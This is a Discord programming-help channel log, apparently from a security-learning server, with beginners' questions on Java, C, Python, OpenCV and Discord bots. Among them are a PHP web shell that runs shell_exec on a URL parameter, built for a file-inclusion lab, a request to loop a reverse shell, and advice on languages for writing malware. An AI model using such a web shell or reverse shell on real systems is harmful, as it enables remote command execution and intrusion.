#programming

1 messages Β· Page 4 of 1

swift marsh
#

little to none

#

i know what they are and stuff

magic falcon
#

There are a lot of descriptions of bubble sort, and it is a very simple algorithm.

#

Your goal with this should be understand what bubble sort does, first.

Once you have a good understanding of the algorithm, then you can work on reducing your instructions.

#

Don't focus on knowing anything complicated, programming and developing are different kinds of tasks, although they seem simplier.

#

Solve the problem on paper, first.

#

Then you can write your program. Sitting down and banging on the keyboard to write code is the absolute worst way to approach this domain.

swift marsh
#

i know what it does i just dont know how to write it like i understand the formula but i couldnt write it out in a ide

surreal bronze
#

Okay, let's say you have 4,2,5,1,3 - could you say the steps in how a bubble sort would sort this?

magic falcon
#

If you can't write it down, you don't understand it

#

Knowledge is demonstrable

swift marsh
magic falcon
#

That is not typically how the first pass of bubble sort operates.

swift marsh
#

damn

magic falcon
#

That's the first couple of steps, but you aren't thinking general enough.

swift marsh
#

?

magic falcon
#

Read a source other than brilliant. If you understand basic algorithms, it's sufficient to explain it. Without a computer science or math background, strongly recommend you look at additional sources such as wikipedia, geeks for geeks, and the great series of youtube videos of folk dances implementing sort algorithms

swift marsh
#

okay thank you

wraith copper
#

hey! I have a bottleneck that I would like to solve

private TaskResponse getTasks(List<CompanyEntity> companies, Integer month, Integer year) {
        TaskResponse response = new TaskResponse();
        companies.forEach(company -> {
            if (company.getEnable() && !company.getEol()) {
                company.getTaxs().forEach(tax -> {
                    if (tax.getEnable()) {
                        TaskDto taskDto = new ModelMapper().map(tax, TaskDto.class);
                        tax.getObligations().forEach(obligation -> {
                            if (month.equals(obligation.getEndMonth())) {

                                taskDto.setFileId(null);
                                taskDto.setFileName(null);
                                getTaskState(taskDto, company.getId(), obligation.getId(), year);
                                taskDto.setStartDay(obligation.getStartDay());
                                taskDto.setStartMonth(obligation.getStartMonth());
                                taskDto.setEndDay(obligation.getEndDay());
                                taskDto.setEndMonth(obligation.getEndMonth());
                                taskDto.setPaymentDay(obligation.getPaymentDay());
                                taskDto.setPaymentMonth(obligation.getPaymentMonth());
                                taskDto.setCompanyId(company.getId());
                                taskDto.setCompanyName(company.getName());
                                taskDto.setCompanyCode(company.getCode());
                                taskDto.setCompanyInternalCode(company.getInternalCode());

                                if (taskDto.getStartDay() != null) {
                                    response.getTasks().add(taskDto);
                                }
                            }
                        });
                    }
                });
            }
        });

        return response;
    }
#

this is very very slow is there anyway to increase the performance?
using java spring boot with hibernate

ionic shore
brazen eagle
#

I have a feeling the query could be more focused to begin with instead of grabbing the entire database each time and filtering in code

magic falcon
brazen eagle
#

JFR isn't bad either

wraith copper
#

yeah I tought so. the only idea I had was a custom query instead of 3 nested loops. but in this scenario queries are not allowed

brazen eagle
#

is this homework?

wraith copper
#

nope its actually from a live app

brazen eagle
#

also assuming java 8+ so look into the stream calls if you're going to use lambdas like that

#

won't help perf, but may clean up the nested ifs some

#

not sure why getTaskState is seemingly returning void

#

that's odd for a getter

wraith copper
#

going to give a look at profiling

wraith copper
#

ModelMapper is the culprit. thanks for the advice!

brazen eagle
#

Makes sense

#

That feels like it'll be calling the db

zenith river
#

what do you guys think would be the most crucial programming langauges to learn for pentesting/security or just in general cybersecurity?

#

and would it be a good idea to learn javascript first, then python?

magic falcon
#

What programming a pentester needs is dependent on the things they need to do on an engagement, which may or may not have similar scopes. One engagement may be internal, another external, another may be focused specifically on a private application or service.

#

And as for the rest of security, it's org and need dependent. There is no 'most crucial' programming language to learn.

onyx merlin
#

It's useful to have some scripting languages down for task automation, but full programming is less common and quite varied.

wheat lotus
#

thanks, but i started from there, i was hoping, others materials, like video, practice of real world, and so on

wispy kestrelBOT
#

Gave +1 Rep to @remote echo

wraith latch
#

I'd love to help but I'm not comfortable as it seems you are wanting to disable bitlocker

#

You update the script now I see

#

Thats more in line with what you are saying now

#

So I'd create an array with the keys you are after.

Once you have the array, loop over it and run the Get-ItemProperty cmdlet supplying the -Name parameter as the itterator.

Then enter your logic tree for each itterator to check what you are after, include else statements etc.

#

Define concise for me please, that example is pretty much exactly what I was proposing and is less code than your initial draft

torn basin
#

Language : C

I am trying to take a string input in a string object in a structure through gets because scanf only accepts one word .

I wrote the following code :

#
#include<stdio.h>
#include<conio.h>
#include<stdlib.h>
#include<string.h>

struct library
{
char bk_name[30];
char author[30];
int pages;
float price;
};

int main()
{
struct library l[100];
char ar_nm[30],bk_nm[30];
int i,j, keepcount;
i=j=keepcount = 0;

while(j!=6)
{
printf("\n\n1. Add book information\n2. Display book information\n");
printf("3. List all books of given author\n");
printf("4. List the title of specified book\n");
printf("5. List the count of books in the library\n");
printf("6. Exit");

printf ("\n\nEnter one of the above : ");
scanf("%d",&j);

switch (j)
{
/* Add book */
case 1:  

printf ("Enter book name = ");
scanf("%s",l[i].bk_name);
// gets(l[i].bk_name);

printf ("Enter author name = ");
scanf ("%s",l[i].author);

#

Observe the last 4th line .
I was trying to input through that line initially but it doesn't work .
I trying to google but couldn't find a suitable solution .
Any help would be appreciated

onyx merlin
#

Your indentation looks way off at least, makes it harder to read

lilac holly
# wraith copper hey! I have a bottleneck that I would like to solve ```java private TaskResponse...
    TaskResponse response = new TaskResponse();

    // Use a Stream to process the companies in parallel
    companies.stream()
        .filter(company -> company.getEnable() && !company.getEol())
        .forEach(company -> {
            company.getTaxs().forEach(tax -> {
                if (tax.getEnable()) {
                    TaskDto taskDto = new ModelMapper().map(tax, TaskDto.class);
                    tax.getObligations().forEach(obligation -> {
                        if (month.equals(obligation.getEndMonth())) {
                            taskDto.setFileId(null);
                            taskDto.setFileName(null);
                            getTaskState(taskDto, company.getId(), obligation.getId(), year);
                            taskDto.setStartDay(obligation.getStartDay());
                            taskDto.setStartMonth(obligation.getStartMonth());
                            taskDto.setEndDay(obligation.getEndDay());
                            taskDto.setEndMonth(obligation.getEndMonth());```
calm iron
#

i wanna learn it

wraith latch
crystal light
#

Hey! So I'm building something that requires a QuadTree, and I got the thing really close, but I'm stuck on initializing the QuadTree up to a certain number of nodes (known number) using recursion, does anyone know how this can be done?

minor zealot
crystal light
wispy kestrelBOT
#

Gave +1 Rep to @minor zealot

undone hill
#

Is javascript good language to write malware

surreal bronze
#

@tidal panther

tidal panther
#

I think they got their answer in #general

onyx flicker
#

Oi

lyric mirage
#

Is it possible to call a function inside a function in Powershell?

naive tartan
#

Doing a pything course and some example recursive code doing the fibonacchi sequence is as goes ```def fib(n):
# The base cases
if n <= 1: # First number in the sequence
return 0
elif n == 2: # Second number in the sequence
return 1
else:
# Recursive call
return fib(n - 1) + fib(n - 2)

print(fib(3))``` and this does return the fibonacchi sequence correctly but mathematically i cannot comprehend this. If you input 3 you get (3-1) + (3-2) which equals 3 not one like it should be and actually outputs. I just need a deeper udnerstanding of the code i guess

whole yacht
#

Recursive code looks complicated at first but if you break it down i.e. compute it yourself with a small starting number like 5 by hand it will make sense.
Even looking at how fibonacci is computed/defined helps too.

heavy rampart
naive tartan
#

Hmm so BEFORE they get added it gets passed through a second time and THEN finally added?

surreal bronze
magic falcon
naive tartan
#

Yes thats what i did at first to try to understand it which is why i am this confused to begin with 😦

magic falcon
#

And, the inner calls finish execution first

#

So you can think of the final execution as being backwards

naive tartan
#

Hmm okay ill look at it again later with all this in mind. Thank you all 4 of you guys!!

naive tartan
wispy kestrelBOT
#

Gave +1 Rep to @heavy rampart

brazen eagle
lilac holly
#

Why does this output nothing

#

im fairly new to OOP so all this code is messy

#

this is the typeHash() function

crude chasm
whole yacht
#

I'd assume the open function doesn't know if it needs to read or write or that typeHash() doesn't return what you expect it does.

minor zealot
#

Strip your wordlist to only a few words and put debugging statements inside to detect unexpected behaviour.

lilac holly
#

found the problem

#

I put a random hash

#

that wasnt in the wordlist

#

that I made

#

it works now

crude chasm
#

You can remove a third of all your lines in the typeHash function also

#

add one return after all the if conditions

#

or just do the return, and dont set a variable

surreal bronze
#

use a dictionary instead of all the if statements

cursive orchid
#

or just

word = word.strip()

return hashlib[hash_mode](word.encode()).hexdigest()
lilac holly
#

what about the hashlib.

#

it would mess it up

lilac holly
lilac holly
#

You could try C or Python3

#

for malware writing

#

of course theres plenty of other languages

#

but I just recommended the most common ones

cursive orchid
lilac holly
#

its wrong

#

says module in not subscriptable

cursive orchid
#

uh lemme take a look

lilac holly
surreal bronze
#

what on earth

#

just use a dictonary

surreal bronze
cursive orchid
#

my bad you have to use getattr

lilac holly
#

thanks

modest basinBOT
#

@lilac holly has been warned.

lilac holly
#

@true pumice why did you just warn me for no reason?

onyx merlin
lilac holly
#

whats wrong with that?

onyx merlin
naive tartan
#
    for i in x:
        return 0 if int(i) < 5 else 1``` here is my code
naive tartan
#

Im eithee not suppoed to iterate through or i need to join them but. Im not sure how to do it without iterating and im not sure how to format join together

minor zealot
#

The problem is, iteration stops as soon as you hit return the first time. You need to successively build your result and then return only once the whole result

naive tartan
#

That makes more sense but i have absolutely zero idea how to go about that haha

minor zealot
#

maybe find some tutorials about basic string operations and functions to get an idea about how it is working

tulip sail
wispy kestrelBOT
#

Gave +1 Rep to @minor zealot

brazen eagle
#

Bit yeah the return will return from the function, not the loop

naive tartan
brazen eagle
#

I like the book "automate the boring stuff" for beginner level python

naive tartan
#

it being free is very nice thank you@brazen eagle been seeing so many $200+ price tags on courses and such

wispy kestrelBOT
#

Gave +1 Rep to @brazen eagle

brazen eagle
#

get the basics down, they're mostly transferable to other languages as well

magic falcon
mortal plank
#

hey guys, best Python or programming language to learn as a new cyber security student?

#

thinking of just going python for now but cant find a good course to start with.

mighty holly
sick scarab
#

first program messing around with the windows api, ive always felt intimidated by it (idk why) but any tips/recommendations will be appreicated!

#include "windows.h"
#include <iostream>
using namespace std;

int main()
{
  cout << "[+] Opening message box" << endl;
  int msgBox = MessageBox(NULL, "My first windows box", "Welcome!", 0x00000004L);
  
  
  if(msgBox != 0)
  {
    switch(msgBox)
    {
    case IDYES:
      MessageBox(NULL, "You pressed yes! Please exit. Thanks!", "YES", 0x00000000L);
      cout << "[*] Button Pressed:\tYES" << endl;
      break;
    case IDNO:
      MessageBox(NULL, "You pressed no D: Goodbye", "NO", 0x00000000L);
      cout << "[*] Button Pressed:\tNO" << endl;
      break;
    }
    cout << "[+] Done!" << endl;

  }

}
#

im trying to start small and build up some confidence/become comfortable with it before i really try to go deep into it...

wispy kestrelBOT
#

Gave +1 Rep to @mighty holly

lucid zenith
#

Hello guys,,,i'm trying to build web application using django and i want to create questions which will be having multiple choices. Any help on how to implement this will be highly appreciated

magic falcon
inland hazel
tidal wyvern
#

Hello I am new to python programming and was wondering if anyone could help me out with a coding project im working on for my class. I have everything done except for one minor detail I cannot find in my book or googling.

tall bolt
#

What's a recommende language to learn for hacking for a beginner with little to know coding experience

#

Recommended *

inland hazel
#

for hacking??? mostly scripting stuff like python
for low level binary stuff it is c and assembler

#

for malware... well can't discuss that as it is against rules of the discord

tall bolt
#

Oh

#

I didn't so yeah

stoic badger
wraith latch
golden lichen
#

quick question to the pros, is it possible to start an index from 1 instead of 0 in a python list?

#

I tried googling it but most of them are over my head

magic falcon
#

Don't think of index as the location in the list, it's the offset from the start of the list

golden lichen
#

thanks for the help juun

golden lichen
earnest swan
#

anyone here good at python and also doing the advent of code?

surreal bronze
#

what's up?

earnest swan
# surreal bronze what's up?

have you done today's task?
Not sure if my solution is any good. Would appreciate if a more mature programmer could take a look at it

surreal bronze
#

If not, you could probably ask in the python servers advent-of-code channel

magic falcon
quartz dirge
#

hey guys i started learning python a while ago and now i "mastered" the basics. Now what do i do

earnest swan
#

do the Advent of Code

quartz dirge
earnest swan
#

no.

quartz dirge
onyx merlin
magic falcon
brazen eagle
#

Oh wait that AoC

#

Need to look into Advent of code as well

true pumice
#

Use code blocks please

#
# code here
true pumice
#

-undelte -a

#

-undelete -a

remote echo
molten ibex
#
import os
path = '/home/pi/FaceRecProject/dataset'
cam = cv2.VideoCapture(0)
cam.set(3, 640) # set video width
cam.set(4, 480) # set video height

face_detector = cv2.CascadeClassifier('/home/pi/FaceRecProject/haarcascade_frontalface_default.xml')

# function to get new id from label data
def getIdFromLabels(path):
    imagePaths = [os.path.join(path,f) for f in os.listdir(path)]
    ids = []
    maxid = 0
    for imagePath in imagePaths:
        id = int(os.path.split(imagePath)[-1].split(".")[1])
        if id > maxid:
            maxid = id
    maxid = maxid + 1
    return maxid


# For each person, enter one numeric face id
#face_id = input('\n enter user id end press <return> ==>  ')
face_id = getIdFromLabels(path)
face_name = input('\n enter user name end press <return> ==>  ')
print("\n [INFO] Initializing face capture. Look the camera and wait ...")
# Initialize individual sampling face count
count = 0

while(True):

    ret, img = cam.read()
    #img = cv2.flip(img, -1) # flip video image vertically
    gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)
    faces = face_detector.detectMultiScale(gray, 1.3, 5)

    for (x,y,w,h) in faces:

        cv2.rectangle(img, (x,y), (x+w,y+h), (255,0,0), 2)
        count += 1

        # Save the captured image into the datasets folder
        cv2.imwrite("/home/pi/FaceRecProject/dataset/User." + str(face_id) + '.' + str(face_name) + '.' + str(count) + ".jpg", gray[y:y+h,x:x+w])

        cv2.imshow('image', img)

    k = cv2.waitKey(100) & 0xff # Press 'ESC' for exiting video
    if k == 27:
        break
    elif count >= 30: # Take 30 face sample and stop video
         break

# Do a bit of cleanup
print("\n [INFO] Exiting Program and cleanup stuff")
cam.release()
cv2.destroyAllWindows()```
#

When I run this I'm getting ```
Traceback (most recent call last):
File "/home/pi/FaceRecProject/datagathering.py", line 35, in <module>
gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)
cv2.error: OpenCV(4.6.0) /tmp/pip-wheel-u79916uk/opencv-python_ea2489746b3a43bfb3f2b5331b7ab47a/opencv/modules/imgproc/src/color.cpp:182: error: (-215:Assertion failed) !_src.empty() in function 'cvtColor'

true pumice
mighty holly
molten ibex
molten ibex
true pumice
#

What do you plan to do with it

#

And don’t say learn

molten ibex
#

This code was working fine before but I ended up reflashing my rpi and had to do all the installation stuff

#

Now I can't get the code to work

lilac holly
# molten ibex When I run this I'm getting ``` Traceback (most recent call last): File "/home...

i dont know python. but the error you are getting seems to indicate there is no source found regarding the image/capture used in the cvtColor array.

[ error: (-215:Assertion failed) !_src.empty() in function 'cvtColor' ]

is the path correct, is your cam connected properly, is it on πŸ™‚

I could be completely wrong. i would try and validate the image's existence earlier on maybe

molten ibex
molten ibex
#

actually lemme check the paths rq

molten ibex
dull trail
#

#img = cv2.flip(img, -1) # flip video image vertically

#

line 34

molten ibex
#

oh its just to flip the camera vertically

#

I dont need that line

#

it doesnt affect the rest of the code

dull trail
#

but you're passing img to the function online 35

#

gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)

#

and img is never defined

#

nvm I see the cam.read() now

molten ibex
#

yeah its above it

dull trail
#

should maybe check the documentaton for the cvtColor fnct to see what type it takes as argument

molten ibex
#

hmm alright

dull trail
#

because it throws you an error from a function that is defined in the package

molten ibex
#

all I did was reinstall the os on my rpi

dull trail
#

mmm weird indeed

#

did the path to your image changed when you reinstalled it?

#

what happen when you try to print(img)

molten ibex
molten ibex
#

hold up

molten ibex
#

there was a typo

#

but now I'm getting IndexError: list index out of range

molten ibex
#

is it the camera.....?

molten ibex
#

Aight thx

wispy kestrelBOT
#

Gave +1 Rep to @ebon berry

lilac holly
molten ibex
torn basin
#

I was reading a csv file in python using pandas and converting it to list .
Now , when I print the list , any repetitive values attaches a ".<How many times it repeated>" number to itself .

for Example : ['E1','E2,'E3','E1','E1'] is getting printed as ['E1','E2,'E3','E1.1','E1.2']

Any idea on how to avoid that ?

fiery bloom
#

Hi! I'm playing around in the File Inclusion playground and tried to use PHP $_GET for getting the input I want to use with shell_exec in my remotely hosted php file via the URL+?cmd=whatevercommand. For some reason it just doesn't want to work. Any ideas? First time trying PHP in general so am a bit lost πŸ˜… . If I manually input the command into the php file for shell_exec to execute, it works flawlessly

<?php

$command = $_GET['cmd'];

echo shell_exec($command);

?>

minor zealot
minor zealot
#

the file you want to access is still playground.php, you just want it to have 2 arguments now

fiery bloom
wispy kestrelBOT
#

Gave +1 Rep to @minor zealot

ebon berry
hollow sorrel
#

Hi, I want to ask how I got a shell as root in a box in TryHackMe. The priv esc method was to abuse ansible-playbook. I was able to finish the box but I am still flabbergasted.

The full exploit was to add malicious code on a certain .yaml file, execute the bash script with sudo privileges as another user.

#

Basically, I narrowed down my investigation to ansible.cfg which has this:

#

and the .yaml file calling the task:

#

I'm guessing the become: true overwrote become=false in the ansible.cfg and afterwards since it was ran with sudo it was done as root.

stone kayak
magic falcon
magic falcon
brazen eagle
#

nah, I was using ansible to build a room

hollow sorrel
hollow sorrel
magic falcon
sonic patrol
spring shell
#

Hello there, I have been into hacking for a year, and want to learn programming now. Which language do you recommend for reverse engineering ?

lilac holly
#

@spring shellHow long do you spend daily on practising hacking?

spring shell
#

Been to many ctfs I found that I am good OSINT and crypto but need to learn reverse engineering from it's basics

#

Any guide ?

lilac holly
#

No... I'm a beginner, but they will answer you in the morning possibly, most of people went to sleep during this time

spring shell
wispy kestrelBOT
#

Gave +1 Rep to @quartz wharf

lone oasis
red fable
#

I'm not sure what's going on here. It can't find the header. It's all there, so i'm confused and don't know where to start.

brazen eagle
#

ah looks like

#

might not like the spaces

#

have you tried using PROGRA~1 or PROGRA~2

#

check which is applicable

red fable
brazen eagle
#

it's the 8.3 alias for Program Files

#

and Program Files (x86)

red fable
#

oh nice

#

I'll have to give it a try once I wake up firMelt

#

I also uninstalled Mingw as it was the x86 version for some reason? I'm on 64

#

and then just installed it with chocolatey

naive tartan
true pumice
#

Read what it’s asking to return, you’ll have to make a string of numbers

naive tartan
#

yeah the issue is me not knowing how to do that haha. I was recommended to learn basic string operations so i tried that

naive tartan
wispy kestrelBOT
#

Gave +1 Rep to @true pumice

hollow sorrel
clear lodge
#

I got this question on my interview how to refresh an html page every X seconds without a script. Never done that, never had a use for that... who even does this? So I do some after googling..

#

its deprecated

#

11 years ago!!!

#

is this a fair question?

magic falcon
#

Legacy crap shows up a lot; what this is testing is 'reasonable' historical knowledge of your primary domain; i don't think it's particularly fair as you don't have 10+ years of domain experience

clear lodge
#

okay that legacy thing is a fair point. But this particular thing, I have never, ever seen this being used anywhere 😭

magic falcon
#

it's like the <marquee> html tag

#

or the flash tag

clear lodge
#

ah well... I left some feedback on the test as some of the questions were kind of unclear

#

but that was an interesting experience, haha

magic falcon
#

both of which are documented in a lot of places, and have been deprecated since the early 00s

clear lodge
#

yes fair enough indeed. Just felt like a lot of the questions were very obscure little things. But now I know at least

plain hemlock
clear lodge
#

haha, no that wasn't one of the options

magic falcon
clear lodge
#

one of the CSS questions was, 'how can you blend an image into the background without using filter'

#

ok but blend how? hue? opacity? blur?

#

πŸ˜” maybe I should have ticked no to 'are you fluent in English' to get more time haha

magic falcon
#

For a lot of 'quick answer' type questions, you think too deeply about it

#

Think about it from a management perspective, as much as that sucks. Blend to you means something very different than to the hiring manager who may or may not be technical

clear lodge
#

yeah

#

true

plain hemlock
clear lodge
#

but Im afraid they wont actually evaluate my test but just look at the score and then reject me based on that πŸ˜”

#

but we shall see

magic falcon
#

That's very common for stuff like that.

clear lodge
#

yeah I figured

magic falcon
#

Part of that is they are looking for a specific type of person, or they already had a candidate in mind when they opened the role

#

they have to have multiple interviews for the role, even though they know who they really want to hire before the interviews even happen

clear lodge
#

right

#

I dont know anything about the role pretty much. Its via recruiter > recruiter > client

#

I never saw the requirements. For all I know they are looking for a 10+ year exp senior πŸ˜„

magic falcon
#

Yep. Also super common.

#

The recruiter doesn't know exactly what the role wants, they got a shortlist of reqs for the role and are looking at anyone who might qualify

clear lodge
#

hence the AWS test I did? hahahha

#

j/k

#

that was an actual mistake

magic falcon
#

eh

#

itt's never a mistake, never tell yourself no when looking at a role you want

#

apply, do your best, and they might bite

#

worst case is they tell you no and it's back to the status quo

clear lodge
#

I mean they sent me some BE / cloud engineer assessment by mistake

#

I did the test but all the AWS services questions was random guessing πŸ₯²

clear lodge
digital dove
clear lodge
#

yeah there were like 20 questions about which AWS service to use in X scenario

#

Β―_(ツ)_/Β―

#

I did do a beginners AWS course a long time ago but I concluded from that course that I want to stay far away from AWS

#

not my thing haha

steel knot
#

I did an online class for AWS a while back ago and was supposed to get AWS certified but then COVID came and I was unable to find a testing center that was open within the time frame I had to use my free voucher.

brazen eagle
clear lodge
#

well its quite easy haha

#

it would just be nice if the question was better >: (

brazen eagle
#

I mean I'd say I don't know but I'll look it up on css-tricks right now

lone oasis
#

Yea i know

clear lodge
brazen eagle
#

CSS has always been a big meanie to me anyways

clear lodge
#

the answer is. You ask the graphics people to just deliver you the adjusted image

#

whaha

clear lodge
#

nah that was a joke hahaha

#

in good news, I achieved a little bit of leet today πŸ˜„ I solved a challenge within 1 minute w 1 line of code πŸ˜„

#

granted it was an easy one, but still.

brazen eagle
#

I mean if the graphics guys blend with a transparent background it would work

#

and cost less CPU

clear lodge
#

yeah it could but I could do it quicker probably and then we can change it on the fly

brazen eagle
#

yes, but eco-design

clear lodge
#

that seems like a better long term solution. Ya know, if some PM thinks the opacity should just be .5 % higher πŸ˜’

#

lol

brazen eagle
#

too bad for them

clear lodge
#

true

brazen eagle
#

who's the UX designer, you or the PM?

clear lodge
#

ehhh

#

trick question!

brazen eagle
#

^_^

primal inlet
#
newname = "test"
await ctx.author.edit(nick = newname)

I am getting a 403 out of this while creating a discord bot, can someone help figure out what's wrong?
bot already has admin permissions

surreal bronze
#

could you show the full error please?

dull trail
primal inlet
rustic dirge
#

@primal inlet u need to give the bot more permissions on the discord developer portal or wtv

#

I dont know how to give a bot more permissions anymore cuz for aome reason the prital isnt what i remember back when i made my bot, but i'll show u my bots page

#

Idk if this will help

#

I had no bot permissions set

primal inlet
#

permissions=8

#

it is supposed to be able to do everything in the server, that's why I am so confused

#

I am suspecting wrong syntax, the ctx.author.edit()

rustic dirge
#

Go into settings and give it change nickname permission

#

It may need all the permissions switched on even tho it has admin perms, idk

rustic dirge
#

Idk if this code is correct but you coukd do something like this for debugging

# Check if the bot has the required permissions before attempting to edit the user's nickname
if ctx.me.guild_permissions.change_nickname:
    # Edit the user's nickname if the bot has the required permissions
    await ctx.author.edit(nick="test")
else:
    # Inform the user if the bot does not have the required permissions
    await ctx.send("I do not have the required permissions to edit your nickname.")
primal inlet
rustic dirge
#

Lol

#

@primal inlet it is inside an event handler and everything right

#

Like everything surrounding that code is correct yeah

primal inlet
#

yea it's all good I am only getting the permissions error when I try to change nickname, I give a role before that and the role works just fine

rustic dirge
#

Weird

#

I hate discord bots, they need so much fiddling

rustic dirge
primal inlet
#

mine lol

rustic dirge
#

It might be a case of like, it cant change your nick cuz your the owner

primal inlet
#

oh

#

welp

rustic dirge
#

Cuz no one has permissions to modify the owners nick

primal inlet
#

that explains a lot

#

-10 iq, don't mind me

rustic dirge
#

U can make it modify another bots nickname

#

Just get a placeholde rbot dont give it admin rpiviledges

primal inlet
#

I'll just an alt to test

rustic dirge
#

And test basic stuff on that

#

Yeah or an alt

#

Lol πŸ’€

#

Cant believe you forgot that u cant modify server owner stuff

#

Its like tryna mute a mod on a server

primal inlet
#

sometimes people lack brain, most of the time those people are me

rustic dirge
#

Lol

#

Lmk if the alt works

surreal bronze
rustic dirge
#

U cant modify the server owners nick

#

Have u ever tried

#

Im pretty sure u cant

surreal bronze
#

Yes, you can

#

And I have tried yes

rustic dirge
#

Damn

#

Then whats the problem

surreal bronze
#

Oh @rustic dirge so turns out that a user can change the owners nick (with the correct permissions) but a bot account can't

rustic dirge
#

Its to do w roles

#

The way discord roles work is funky, so everything is outta wack

shadow stag
#

hii guys i need a help!

#

i never really into learning and didnt like it but i am gonna join a company in few days and they r gonna train me JAVA and i dont have any interest but i love their company

#

my main question is how to build interest so that i can easily understand and fast?

clear lodge
#

Well building things is cool and software engineering is a good career path if youre looking for lots of opportunities and decent pay

#

Why are you not interested in programming? πŸ™‚

brazen eagle
#

You may be in the wrong field if you aren't into learning, as this one requires continuous learning

shadow stag
clear lodge
wraith latch
brazen eagle
#

sadly

#

I mean there may or may not be occasional nerf wars

shadow stag
#

do u guys have any sideways to make money? i would like to make some passive income.

brazen eagle
#

sorry

#

and this probably isn't the proper forum either πŸ™‚

sly aspen
#

who else saw it in today advent?

brazen eagle
#

Didn't look too closely

inland hazel
onyx merlin
#

Oh heh

brazen eagle
#

Also the split is a bit dangerous if the path has more than 2 /s

#

Ah wait that uses the mediatype

#

Ah bloody hell

naive tartan
#

in a bash script, in an if else statement, if the first statement is true i want to exit the script, but if its false i want to continue with the else statement. how would i go about doing that?

#

i have if [ condition ]; then echo 'this content' exit but my echo command isnt printing

#

nevermind, i figured it outstare

#

i forgot a dollar sign to specify a variable in the if condition

red fable
#

I'm compiling a beginner 'vuln' elf executable. I've passed the -fno-stack-protector and while trying to check out esp i continuously get a cannot access memory error.

brazen eagle
#

do you have SELinux things enabled?

red fable
#

No, it's just an Arch base install.

#

and I've disabled randomize_va_space

#

i think..

#

ok, maybe not..

#

mmm that didn't help. I think it's break time.

brazen eagle
#

sorry, I don't intentionally try to make vulnerable executables πŸ˜›

red fable
#

I'm following a book: The Art of Exploitation. Just trying to view what the stack pointer's doing.

brazen eagle
#

welp, wish me luck πŸ™‚ (Proposal for a talk for Devoxx FR)

magic falcon
oak harbor
#

hey guys I was browsing a website and I received this notification upon entering the site. I simply navigated to to and entered no information. Now I am only talking hypothetically here because I am an extreme noob. But does this notification indicate there would be some sort of SQLi vulnerability with the site. I only ask because I just finished that room. This site is a company I work for and I have never seen the error message just pop up upon entering. this is the message. Notice: Function register_block_script_handle was called incorrectly. The asset file for the "editorScript" defined in "contact-form-7/contact-form-selector" block definition is missing. Please see Debugging in WordPress for more information. (This message was added in version 5.5.0.) in /mnt/BLOCKSTORAGE/home/180729.cloudwaysapps.com/yyfpjxgfvr/public_html/wp-includes/functions.php on line 5835

#

wrong room

oak harbor
#

yeah i figured that after i paid more attention and saw php.....but im a complete newbie so thats about all i understand

sudden lotus
#

would it be possible to wrtie a program that you enter any name and it can go out and find all social media , emails acounts ,ect that person has or would the be unethical my idea is to automate it to do oscint of a person to speed up the process

whole yacht
#

There exists one already. It's called sherlock

sudden lotus
wispy kestrelBOT
#

Gave +1 Rep to @whole yacht

true pumice
#

But yes, there’s plenty of tools that do that, some of which are better than others

wispy kestrelBOT
#

Gave +1 Rep to @true pumice

quartz dirge
#

hey guys i started learning python about 1 year ago. I'm confident that i know the basics and i want to do the next move. What should it be?. Start learning it over again to remember some things or move on

clear lodge
#

work on a couple of larger scale projects? πŸ˜„

#

okay react

brazen eagle
#

Wow

magic falcon
#

pretty sweet

brazen eagle
quartz dirge
#

for project ideas

brazen eagle
#

Should be something interesting on the net, though if you have a particular need, go for it

lilac holly
#

Hello there I get this error when ever I make a WindowsAppForm Application in Visual Studio 2022 (17.4.3)
System.UnauthorizedAccessException: Access to the path 'C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\Temp.txt' is denied.
I have never gotten this before. I have checked and yes it does require special perms but like I said this should not be happening and giving me an error.

lilac holly
#

nvm apparently it got fixed magically when I reverted to 17.4.2 and then back to 17.4.3 πŸ™„

brazen eagle
#

Maybe use a path for which you have access?

#

I wouldn't recommend making temp files in Program Files

lilac holly
#

What programming language would you recommend learning after python that will be reasonable and adequate in use in cyber security sector?

Why do you think it's reasonable, and in what field can you get up to, as an individual?

whole yacht
#

I'd try one of the C flavoured languages. It's widely used in many fields and can't hurt to know a deep and sometimes confusing language.

stoic badger
onyx merlin
stoic badger
#

I originally wrote x86 but then decided to be more general with it since there’s more than x86 out there, but yeah x86 is the most applicable

brazen eagle
#

I'd throw rust in the list, it's gaining popularity

true pumice
#

^ Linux kernel is now optimised for rust

brazen eagle
#

also

#

well it's getting a bit rusty

lilac holly
#

Thanks for guidance, guysπŸ™‚

brazen eagle
#

Java, much as we all hate it, is still widely used in enterprise

lilac holly
#

I'm not going for Java 😭

blazing bone
#
# Check for working domains and save them in valid.txt
for domain in $(cat domains.txt)
do
if [[ $(ping -c 1 $domain) ]]
then 
echo $domain can be reached
echo $domain >> valid.txt
else 
echo "$domain can't be reached"
fi
done
#

can someone please explain to me why using

if [ $(ping -c 1 $domain) ]
#

won't work

#

I would like to know the difference between using a single [ and double [

narrow jolt
#

I'm tryin to be a Web Dev do im learning frontend and backen stuff, but todays are do morΔ™ popular rust and wasm in web dev and even python

#

sorry for my autocorrect text replacement, im polish

#

really rust is better than c++ today?

inland hazel
lilac holly
#

i want to create a script that constantly runs a reverse shell payload until a connection is recieved in bash how would i go about this id obviously need to create a loop but how would i get the loop to stop when a connection is successful?

magic falcon
inland hazel
#

@magic falcon ⬆️

magic falcon
inland hazel
#

Oh.... Think that is maybe linked in description

#

Or it is on github as it is Linux drivers after all

#

also the video clearly explains that rust can obviously improve just currently it is about equal

#

also the slides include source code

magic falcon
#

Is this the code used for the benchmarks? It's unclear

#

From the slides, there is also unsafe C code being used as the driver. As a benchmark this is kind of useless to me, where is the profile breakdown of time spent in C functions vs Rust? What were the compiler options? The slide deck also doesn't spend any time talking about what the NVME driver written in C is, nor where the source for that driver is.

As a rigorous demonstration of Rust being comparable, I find it very lacking. I'm not saying it's BS, just that the evidence presented is not convincing to me. It's an interesting idea for sure.

inland hazel
#

fair

#

shadow just went with that the video is trustworthy but obviously it might not be

magic falcon
#

No worries, part of my job is to investigate assumptions made by programmers πŸ™‚

brazen eagle
#

I assume that I am correct and the users are wrong

magic falcon
#

kek

coral lotus
#

I am trying to implement Pagination on a project, its under development, kinda private as of now.

#

These buttons I've embedded them in the right place,

#

These buttons are not working yet
The Javascript code designed for the working of these buttons, it needs to be integrated with the existing codebase to make that happen

#

Many have used li tag to demonstrate and render the contents in main site

clear lodge
#

Uhuh

#

Thats sensible

coral lotus
#

Like this for instance

coral lotus
